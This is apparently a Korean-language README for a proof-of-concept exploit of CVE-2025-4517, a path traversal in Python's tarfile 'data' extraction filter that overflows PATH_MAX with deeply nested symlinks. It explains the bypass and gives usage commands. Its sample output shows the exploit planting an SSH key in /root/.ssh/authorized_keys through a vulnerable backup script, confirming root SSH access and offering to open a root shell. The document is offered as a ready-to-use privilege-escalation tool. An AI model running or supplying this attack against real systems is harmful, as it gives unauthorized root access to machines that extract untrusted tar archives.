
CVE-2025-4517에 대한 개념 증명 익스플로잇으로, Python의 tarfile filter='data' 샌드박스의 경로 트래버설 취약점으로, 조작된 심볼릭 링크 체인을 통해 추출 디렉토리 외부에 임의 파일 쓰기를 가능하게 합니다.
Python
tarfile모듈의 경로 탐색 취약점으로, 버전 3.8.0부터 3.13.1까지 영향을 미칩니다. 안전하지 않은 추출을 방지하기 위해 설계된filter="data"샌드박스는PATH_MAX(4096바이트)를 초과하는 경로를 조작하여 우회할 수 있습니다. 이 경우os.path.realpath()가 심볼릭 링크 확인을 조용히 중단합니다. 보안 검사는 안전해 보이는 경로를 보는 반면, 커널은 실제 경로를 확인하므로 추출 디렉터리 외부에 쓰기가 가능해집니다. 이 PoC는 우회를 이용하여/root/.ssh/authorized_keys에 SSH 공개 키를 작성합니다.
PATH_MAX를 초과하도록 하는 깊게 중첩된 디렉터리(247자 이름)로 악성 tar를 만듭니다.filter="data"는 각 경로를 검증하기 위해 os.path.realpath()를 호출하지만, PATH_MAX에서 확인을 중단하고 해당 경로가 여전히 스테이징 디렉터리 내에 있는 것으로 간주합니다. 검사를 통과합니다./root/.ssh/authorized_keys에 도달합니다.ssh-keygen 사용 가능 (또는 -k로 자신의 공개 키 제공)sudo 권한# 자동으로 새 키 쌍 생성
python3 exploit.py
# 기존 공개 키 사용
python3 exploit.py -k ~/.ssh/id_ed25519.pub
예시:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):